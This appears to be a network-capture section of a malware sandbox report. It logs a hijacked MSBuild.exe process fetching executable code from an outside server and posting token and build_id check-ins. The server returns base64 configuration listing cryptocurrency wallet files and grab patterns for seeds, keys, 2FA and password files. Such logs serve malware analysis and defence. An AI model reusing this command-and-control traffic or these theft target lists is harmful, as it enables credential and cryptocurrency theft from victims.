2024-05-24 08:27:27 UTC	16384	IN	Data Raw: 10 88 41 03 0f b6 41 04 d1 e8 8a 80 68 f9 02 10 88 41 04 0f b6 41 05 d1 e8 8a 80 68 f9 02 10 88 41 05 0f b6 41 06 d1 e8 8a 80 68 f9 02 10 88 41 06 0f b6 41 07 d1 e8 8a 80 68 f9 02 10 88 41 07 ba 01 01 01 01 8b 31 31 d6 33 51 04 b8 01 00 00 00 09 f2 0f 84 37 01 00 00 ba 1f 1f 1f 1f 33 11 be 0e 0e 0e 0e 33 71 04 09 d6 0f 84 20 01 00 00 ba e0 e0 e0 e0 33 11 be f1 f1 f1 f1 33 71 04 09 d6 0f 84 09 01 00 00 ba fe fe fe fe 8b 31 31 d6 33 51 04 09 f2 0f 84 f5 00 00 00 ba 01 fe 01 fe 8b 31 31 d6 33 51 04 09 f2 0f 84 e1 00 00 00 ba fe 01 fe 01 8b 31 31 d6 33 51 04 09 f2 0f 84 cd 00 00 00 ba 1f e0 1f e0 33 11 be 0e f1 0e f1 33 71 04 09 d6 0f 84 b6 00 00 00 ba e0 1f e0 1f 33 11 be f1 0e f1 0e 33 71 04 09 d6 0f 84 9f 00 00 00 ba 01 e0 01 e0 33 11 be 01 f1 01 f1 33 71 Data Ascii: AAhAAhAAhAAhA113Q733q 33q113Q113Q113Q33q33q33q
2024-05-24 08:27:27 UTC	16384	IN	Data Raw: 00 e9 21 07 00 00 3d 50 06 00 00 0f 8f aa 01 00 00 3d 51 05 00 00 74 2d 3d 52 05 00 00 74 12 3d 55 05 00 00 0f 85 0a 07 00 00 c7 47 0c 01 00 00 00 83 7b 04 00 0f 84 ec 06 00 00 83 7b 08 10 0f 85 e2 06 00 00 c7 47 18 10 00 00 00 83 7c 24 24 25 0f 85 fb 07 00 00 6a 11 ff 74 24 30 e8 44 c7 00 00 83 c4 08 85 c0 0f 84 78 09 00 00 89 c7 31 c0 81 3b 51 05 00 00 0f 95 c0 ff 77 1c 8b 4d 20 51 50 ff 73 04 ff 77 18 e8 09 1e ff ff 83 c4 14 8b 4c 24 28 89 41 64 57 e8 a9 c6 00 00 83 c4 04 8b 44 24 28 83 78 64 00 0f 84 bf 08 00 00 83 7d 20 00 b9 60 2a 00 10 ba 20 2a 00 10 0f 44 d1 89 50 74 c7 80 84 00 00 00 e0 29 00 10 e9 eb 08 00 00 3d 09 21 00 00 0f 8e 1c 02 00 00 3d 0a 21 00 00 0f 84 08 02 00 00 3d 0b 21 00 00 0f 84 23 02 00 00 3d 21 40 00 00 0f 85 37 06 00 00 83 7c Data Ascii: !=P=Qt-=Rt=UG{{G\|$$%jt$0Dx1;QwM QPswL$(AdWD$(xd} `* *DPt)=!=!=!#=!@7\|
2024-05-24 08:27:27 UTC	16384	IN	Data Raw: 14 90 03 10 31 e8 89 45 f0 ff 75 08 e8 35 ab 00 00 83 c4 04 85 c0 74 5f 89 c6 8b 78 38 bb 91 00 00 00 85 ff 74 56 83 3f 03 75 51 8b 4d 18 8b 47 04 83 7d 14 00 74 59 8b 5d 0c 85 c0 74 64 89 ce 8b 4d 08 89 da 6a 03 ff 75 10 e8 47 fa ff ff 83 c4 08 89 c3 85 c0 75 24 56 ff 75 14 ff 75 08 e8 72 fd ff ff 83 c4 0c 89 c6 8b 4d f0 31 e9 e8 a3 8b 01 00 89 f0 eb 11 bb b3 00 00 00 8b 4d f0 31 e9 e8 90 8b 01 00 89 d8 83 c4 10 5e 5f 5b 5d c3 85 c0 74 06 83 7f 68 00 74 5a 81 c7 90 00 00 00 eb 55 8b 01 89 45 e8 8b 47 64 89 45 e4 8b 4f 74 ff 15 00 a0 03 10 8d 45 ec ff 75 10 53 ff 75 e8 50 ff 75 14 ff 75 e4 ff d1 83 c4 18 85 c0 74 32 e8 a1 8d 01 00 50 e8 eb 84 00 00 83 c4 04 8b 55 ec 8b 4d 18 89 11 bb 50 01 00 00 3d 50 01 00 00 74 8a eb 18 83 c7 60 8b 07 89 01 31 db e9 7a Data Ascii: 1Eu5t_x8tV?uQMG}tY]tdMjuGu$VuurM1M1^_[]thtZUEGdEOtEuSuPuut2PUMP=Pt`1z
2024-05-24 08:27:27 UTC	16384	IN	Data Raw: d8 00 00 00 00 c7 45 d4 04 00 00 00 eb 18 0f 1f 84 00 00 00 00 00 8b 47 fc 8b 00 89 45 d8 83 c7 0c 83 c6 ff 74 5a 8b 47 f8 85 c0 74 19 3d 61 01 00 00 74 e2 8b 4f fc eb 15 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 8b 4f fc 8b 11 89 55 d4 ff 37 51 50 ff 75 dc e8 8c 53 00 00 83 c4 10 85 c0 74 bd 89 c3 e9 80 01 00 00 bf 02 00 00 00 e9 83 01 00 00 c7 45 d4 04 00 00 00 c7 45 d8 00 00 00 00 8b 45 10 8b 4d 0c 83 ec 1c 0f 28 05 40 fb 02 10 0f 11 44 24 0c 89 44 24 08 89 4c 24 04 8b 45 08 89 04 24 e8 fe 7c ff ff 83 c4 1c 85 c0 74 0c 89 c3 ff 75 dc e8 7d 5a 00 00 eb 3d 8b 7d 18 8b 5d 14 57 e8 8b 4d 01 00 83 c4 04 89 c6 89 7d ec 8d 45 ec 50 56 57 53 ff 75 08 e8 e8 9a ff ff 83 c4 14 85 c0 74 26 89 c3 ff 75 dc e8 47 5a 00 00 83 c4 04 56 e8 78 4d 01 00 83 c4 04 83 fb 40 bf Data Ascii: EGEtZGt=atOf.OU7QPuStEEEM(@D$D$L$E$\|tu}Z=}]WM}EPVWSut&uGZVxM@
2024-05-24 08:27:27 UTC	16384	IN	Data Raw: 8b 48 38 b8 91 00 00 00 85 c9 74 4a 83 39 02 75 45 83 79 04 00 74 3f 8b 55 0c 8b 59 6c 83 c3 08 89 1f 31 c0 85 d2 74 2e b8 50 01 00 00 39 de 72 25 8b 01 89 02 8b 41 70 89 42 04 83 c2 08 ff 71 6c ff 71 64 52 e8 cc 0f 01 00 83 c4 0c 31 c0 eb 05 b8 b3 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 7d 10 a1 14 90 03 10 31 e8 89 45 f0 85 ff 0f 84 2d 01 00 00 8b 5d 0c 8b 33 ff 75 08 e8 b5 2a 00 00 83 c4 04 b9 b3 00 00 00 85 c0 0f 84 12 01 00 00 83 fe 0a 0f 87 f7 00 00 00 b9 78 06 00 00 0f a3 f1 73 12 8d 48 38 eb 1a 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 b9 83 01 00 00 0f a3 f1 73 e4 8d 48 34 8b 09 83 fe 0a 77 2f ba 78 06 00 00 0f a3 f2 73 12 83 c0 38 eb 1a 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 ba 83 01 00 00 0f a3 f2 73 Data Ascii: H8tJ9uEyt?UYl1t.P9r%ApBqlqdR1^_[]USWV}1E-]3u*xsH8f.sH4w/xs8f.s
2024-05-24 08:27:27 UTC	16384	IN	Data Raw: cc cc cc cc cc cc 55 89 e5 53 57 56 ff 75 08 e8 c2 d8 ff ff 83 c4 04 85 c0 0f 84 9c 03 00 00 89 c6 c7 40 24 00 00 00 00 bf 02 00 00 00 83 78 0c 00 0f 88 54 03 00 00 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 8b 46 34 8b 5e 40 8d 4b 01 89 4e 40 50 ff 15 10 7c 03 10 83 c4 04 83 fb 2c 0f 8f 29 03 00 00 6b c3 54 8d 0c 06 83 c1 64 89 4c 06 5c c7 44 06 64 57 43 53 ce c7 44 06 60 04 00 00 00 c7 44 06 58 00 00 00 00 c7 44 06 54 00 00 00 00 0f 57 c0 0f 11 44 06 44 83 7e 0c 00 0f 88 ea 02 00 00 8d 1c 06 83 c3 44 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 69 4b 10 c5 90 c6 6a 8b 86 0c 0f 00 00 83 c0 ff 21 c8 8b 8c 86 10 0f 00 00 89 0b c7 43 04 00 00 00 00 8b 8c 86 10 0f 00 00 85 c9 74 03 89 59 04 89 9c 86 10 0f 00 00 ff 76 34 ff 15 10 7c 03 10 83 c4 04 83 7e 0c 00 0f 88 8b 02 00 Data Ascii: USWVu@$xTv4{F4^@KN@P\|,)kTdL\DdWCSD`DXDTWDD~Dv4{iKj!CtYv4\|~
2024-05-24 08:27:27 UTC	16384	IN	Data Raw: 00 89 f8 81 c4 3c 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 89 d6 89 cf 8b 5d 08 8b 4b 24 ff 15 00 a0 03 10 ff 75 14 ff 75 10 ff 75 0c 53 ff d1 83 c4 10 85 c0 75 1e 31 c0 39 5e 34 0f 94 c0 89 f9 89 f2 ff 75 14 ff 75 10 ff 75 0c 50 e8 1c 2b 00 00 83 c4 10 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 45 08 8b 0d 14 90 03 10 31 e9 89 4d f0 c7 45 ec 00 00 00 00 85 c0 74 63 8b 75 10 8b 58 34 85 db 74 5d 85 f6 74 5f 8b 4d 0c 8d 45 e8 8d 7d ec 89 f2 50 57 e8 8e 00 00 00 83 c4 08 85 c0 74 60 89 c7 8b 45 ec 89 45 e4 8b 4b 14 ff 15 00 a0 03 10 ff 75 14 56 57 53 8b 5d e4 ff d1 83 c4 10 89 c6 85 db 74 40 57 e8 96 8d 00 00 83 c4 04 ff 75 e8 53 e8 b4 8d 00 00 83 c4 08 eb 29 31 f6 eb 25 8b 18 85 f6 75 a1 8b 4b 14 ff 15 00 a0 03 10 ff Data Ascii: <^_[]USWV]K$uuuSu19^4uuuP+^_[]USWVE1MEtcuX4t]t_ME}PWt`EEKuVWS]t@WuS)1%uK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49761	78.47.123.174	443	6712	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 08:27:28 UTC	178	OUT	GET /vcruntime140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Cache-Control: no-cache
2024-05-24 08:27:29 UTC	245	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 08:27:29 GMT Content-Type: application/octet-stream Content-Length: 80880 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-13bf0" Accept-Ranges: bytes
2024-05-24 08:27:29 UTC	16139	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"
2024-05-24 08:27:29 UTC	16384	IN	Data Raw: ff ff eb 1e 0f b6 4e 03 0f b6 42 03 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 6f 05 00 00 8b 46 04 3b 42 04 74 4f 0f b6 f8 0f b6 42 04 2b f8 75 18 0f b6 7e 05 0f b6 42 05 2b f8 75 0c 0f b6 7e 06 0f b6 42 06 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 07 0f b6 42 07 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 0e 05 00 00 8b 46 08 3b 42 08 74 4f 0f b6 f8 0f b6 42 08 2b f8 75 18 0f b6 7e 09 0f b6 42 09 2b f8 75 0c 0f b6 7e 0a 0f b6 42 0a 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 0b 0f b6 42 0b 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 ad 04 00 00 8b 46 0c 3b 42 0c 74 4f 0f b6 f8 0f b6 42 0c 2b f8 75 18 Data Ascii: NB+t3E3oF;BtOB+u~B+u~B+t3MNB+t3E3F;BtOB+u~B+u~B+t3MNB+t3E3F;BtOB+u
2024-05-24 08:27:29 UTC	16384	IN	Data Raw: 08 00 00 59 6a 28 8d 4d 80 8b f0 e8 67 f3 ff ff 56 8d 4d f0 51 8b c8 e8 0a f7 ff ff 6a 29 8d 85 70 ff ff ff 50 8d 4d f0 e8 1b f7 ff ff 50 8d 4d f8 e8 78 f7 ff ff 81 7d dc 00 08 00 00 75 1a 8b c3 25 00 07 00 00 3d 00 02 00 00 74 0c 8d 45 98 50 8d 4d f8 e8 55 f7 ff ff a1 98 f2 00 10 c1 e8 13 f7 d0 a8 01 8d 45 cc 50 74 11 e8 92 2e 00 00 59 50 8d 4d f8 e8 34 f7 ff ff eb 0f e8 81 2e 00 00 59 50 8d 4d f8 e8 9f f8 ff ff 8d 45 cc 50 e8 69 23 00 00 59 50 8d 4d f8 e8 10 f7 ff ff a1 98 f2 00 10 c1 e8 08 f7 d0 a8 01 8d 45 cc 50 74 11 e8 30 3e 00 00 59 50 8d 4d f8 e8 ef f6 ff ff eb 0f e8 1f 3e 00 00 59 50 8d 4d f8 e8 5a f8 ff ff 8d 45 cc 50 e8 6a 19 00 00 59 50 8d 4d f8 e8 47 f8 ff ff a1 98 f2 00 10 c1 e8 02 f7 d0 a8 01 74 20 85 ff 74 1c 8b 45 f8 89 07 8b 45 fc 89 47 Data Ascii: Yj(MgVMQj)pPMPMx}u%=tEPMUEPt.YPM4.YPMEPi#YPMEPt0>YPM>YPMZEPjYPMGt tEEG
2024-05-24 08:27:29 UTC	16384	IN	Data Raw: 0f 83 fa 10 74 15 b8 ff ff 00 00 e9 f7 01 00 00 81 c9 80 00 00 00 eb 03 83 c9 40 83 e0 06 2b c7 0f 84 df 01 00 00 2b c6 74 1e 2b c6 74 0f 2b c6 75 d4 81 c9 00 04 00 00 e9 c8 01 00 00 81 c9 00 01 00 00 e9 bd 01 00 00 81 c9 00 02 00 00 e9 b2 01 00 00 2b c6 75 af 8d 51 01 89 15 90 f2 00 10 8a 02 3c 30 7c 2a 3c 39 7f 26 0f be c0 83 c2 d1 03 c2 a3 90 f2 00 10 e8 8c fe ff ff 0d 00 00 01 00 e9 81 01 00 00 b8 fe ff 00 00 e9 77 01 00 00 b9 ff ff 00 00 e9 dc 00 00 00 83 f8 2f 0f 8e 63 ff ff ff 8b f2 83 f8 35 7e 62 83 f8 41 0f 85 53 ff ff ff 81 c9 00 90 00 00 e9 b8 00 00 00 b9 fe ff 00 00 4a e9 ad 00 00 00 81 c9 00 98 00 00 e9 a2 00 00 00 83 e8 43 0f 84 94 00 00 00 83 e8 01 0f 84 83 00 00 00 83 e8 01 74 76 83 e8 0d 0f 85 12 ff ff ff 42 89 15 90 f2 00 10 8b f2 8a 0a Data Ascii: t@++t+t+u+uQ<0\|*<9&w/c5~bASJCtvB
2024-05-24 08:27:29 UTC	15589	IN	Data Raw: ae e8 7c cd cc c1 be ea d2 ff 35 4e c0 ce b5 7a ad bb a6 bb 2e dc 94 e9 f3 1e 7d e0 ec 28 a3 07 82 66 5a c3 5b 5a cb ec 03 c9 e3 2c 94 15 21 2b a0 f9 d9 9b 4b e7 b6 de eb 20 51 8c 3e fa 2c 23 d5 18 b0 f0 b1 a0 70 6c 7a ef 8b 83 48 a6 3a 02 06 ef a0 8a 2c b7 88 45 30 82 05 ff 30 82 03 e7 a0 03 02 01 02 02 13 33 00 00 01 51 9e 8d 8f 40 71 a3 0e 41 00 00 00 00 01 51 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 7e 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 28 30 26 06 03 55 04 03 13 1f 4d 69 63 72 6f 73 6f 66 74 20 43 6f 64 65 20 53 69 67 6e 69 6e Data Ascii: \|5Nz.}(fZ[Z,!+K Q>,#plzH:,E003Q@qAQ0*H0~10UUS10UWashington10URedmond10UMicrosoft Corporation1(0&UMicrosoft Code Signin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49762	78.47.123.174	443	6712	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 08:27:30 UTC	279	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCAKKECAEGDGCBFIJEGH User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 1145 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 08:27:30 UTC	1145	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 39 39 36 35 37 32 62 63 65 64 65 33 38 35 30 31 63 61 37 30 31 38 39 31 63 34 62 39 65 64 36 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 32 65 33 33 34 30 66 37 66 36 34 30 30 38 34 30 31 66 61 35 37 38 37 61 38 38 32 61 66 34 35 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 0d 0a 43 6f 6e 74 Data Ascii: ------GCAKKECAEGDGCBFIJEGHContent-Disposition: form-data; name="token"3996572bcede38501ca701891c4b9ed6------GCAKKECAEGDGCBFIJEGHContent-Disposition: form-data; name="build_id"a2e3340f7f64008401fa5787a882af45------GCAKKECAEGDGCBFIJEGHCont
2024-05-24 08:27:30 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 08:27:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 08:27:30 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49763	78.47.123.174	443	6712	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 08:27:31 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHDGDHJEGHIDGDHCGCB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 08:27:31 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 39 39 36 35 37 32 62 63 65 64 65 33 38 35 30 31 63 61 37 30 31 38 39 31 63 34 62 39 65 64 36 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 32 65 33 33 34 30 66 37 66 36 34 30 30 38 34 30 31 66 61 35 37 38 37 61 38 38 32 61 66 34 35 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 Data Ascii: ------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="token"3996572bcede38501ca701891c4b9ed6------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="build_id"a2e3340f7f64008401fa5787a882af45------IDHDGDHJEGHIDGDHCGCBCont
2024-05-24 08:27:32 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 08:27:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 08:27:32 UTC	2228	IN	Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49764	78.47.123.174	443	6712	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 08:27:32 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDAKJKFCFBGCBGDHCB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 08:27:32 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 39 39 36 35 37 32 62 63 65 64 65 33 38 35 30 31 63 61 37 30 31 38 39 31 63 34 62 39 65 64 36 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 32 65 33 33 34 30 66 37 66 36 34 30 30 38 34 30 31 66 61 35 37 38 37 61 38 38 32 61 66 34 35 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 4b 4a 4b 46 43 46 42 47 43 42 47 44 48 43 42 0d 0a 43 6f 6e 74 Data Ascii: ------AFHDAKJKFCFBGCBGDHCBContent-Disposition: form-data; name="token"3996572bcede38501ca701891c4b9ed6------AFHDAKJKFCFBGCBGDHCBContent-Disposition: form-data; name="build_id"a2e3340f7f64008401fa5787a882af45------AFHDAKJKFCFBGCBGDHCBCont
2024-05-24 08:27:33 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 08:27:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 08:27:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49765	78.47.123.174	443	6712	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 08:27:34 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCAAFBFBKFIDGDHJDBK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-24 08:27:34 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 39 39 36 35 37 32 62 63 65 64 65 33 38 35 30 31 63 61 37 30 31 38 39 31 63 34 62 39 65 64 36 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 32 65 33 33 34 30 66 37 66 36 34 30 30 38 34 30 31 66 61 35 37 38 37 61 38 38 32 61 66 34 35 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 Data Ascii: ------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="token"3996572bcede38501ca701891c4b9ed6------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="build_id"a2e3340f7f64008401fa5787a882af45------DGCAAFBFBKFIDGDHJDBKCont
2024-05-24 08:27:35 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 08:27:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 08:27:35 UTC	1524	IN	Data Raw: 35 65 38 0d 0a 52 45 56 54 53 31 52 50 55 48 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 69 6f 73 4b 6e 4e 6c 5a 57 51 71 4c 69 6f 73 4b 6d 4a 30 59 79 6f 75 4b 69 77 71 61 32 56 35 4b 69 34 71 4c 43 6f 79 5a 6d 45 71 4c 69 6f 73 4b 6d 4e 79 65 58 42 30 62 79 6f 75 4b 69 77 71 59 32 39 70 62 69 6f 75 4b 69 77 71 63 48 4a 70 64 6d 46 30 5a 53 6f 75 4b 69 77 71 4d 6d 5a 68 4b 69 34 71 4c 43 70 68 64 58 52 6f 4b 69 34 71 4c 43 70 73 5a 57 52 6e 5a 58 49 71 4c 69 6f 73 4b 6e 52 79 5a 58 70 76 63 69 6f 75 4b 69 77 71 63 47 46 7a 63 79 6f 75 4b 69 77 71 64 32 46 73 4b 69 34 71 4c 43 70 31 63 47 4a 70 64 43 6f 75 4b 69 77 71 59 6d 4e 6c 65 43 6f 75 4b 69 77 71 59 6d 6c 30 61 